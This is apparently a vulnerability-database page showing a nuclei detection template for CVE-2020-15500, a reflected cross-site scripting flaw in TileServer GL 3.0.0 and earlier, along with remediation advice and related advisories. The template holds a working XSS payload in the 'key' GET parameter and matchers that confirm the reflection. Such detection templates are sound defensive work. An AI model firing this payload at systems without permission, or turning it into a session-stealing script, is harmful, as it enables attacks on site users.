Lucene search
K

TileServer GL <=3.0.0 - Cross-Site Scripting

🗓️ 03 Jul 2026 13:39:16Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 14 Views

TileServer GL <=3.0.0 - Reflected Cross-Site Scripting vulnerability via server.j

Related
Refs
Code
ReporterTitlePublishedViews
Family
0day.today
Tileserver-gl 3.0.0 - (key) Reflected Cross-Site Scripting Vulnerability
15 Apr 202100:00
zdt
Circl
CVE-2020-15500
21 Sep 202106:42
circl
CNVD
TileServer GL Cross-Site Scripting Vulnerability
2 Jul 202000:00
cnvd
CVE
CVE-2020-15500
1 Jul 202022:14
cve
Cvelist
CVE-2020-15500
1 Jul 202022:14
cvelist
Github Security Blog
Cross-site scripting in TileServer GL
17 May 202121:01
github
NVD
CVE-2020-15500
1 Jul 202023:15
nvd
OSV
GHSA-3FR8-MWPP-8H9P Cross-site scripting in TileServer GL
17 May 202121:01
osv
Packet Storm
Tileserver-gl 3.0.0 Cross Site Scripting
15 Apr 202100:00
packetstorm
Prion
Cross site scripting
1 Jul 202023:15
prion
Rows per page
id: CVE-2020-15500

info:
  name: TileServer GL <=3.0.0 - Cross-Site Scripting
  author: Akash.C
  severity: medium
  description: TileServer GL through 3.0.0 is vulnerable to reflected cross-site scripting via server.js  because the content of the key GET parameter is reflected unsanitized in an HTTP response for the application's main page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade TileServer GL to a version higher than 3.0.0 or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/maptiler/tileserver-gl/issues/461
    - http://packetstormsecurity.com/files/162193/Tileserver-gl-3.0.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15500
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-15500
    cwe-id: CWE-79
    epss-score: 0.12224
    epss-percentile: 0.9567
    cpe: cpe:2.3:a:tileserver:tileservergl:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tileserver
    product: tileservergl
  tags: cve,cve2020,xss,tileserver,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "'>\"<svg/onload=confirm('xss')>"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009b03e823e6d84218acdddfdbb4001ad91353258717b8bc580dc427a6f3ad2375022054ffe7960bb4ccbafad99da39d63798ca59722a6205d5bbcf88cf10808d4c7b5:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.1
EPSS0.12224
14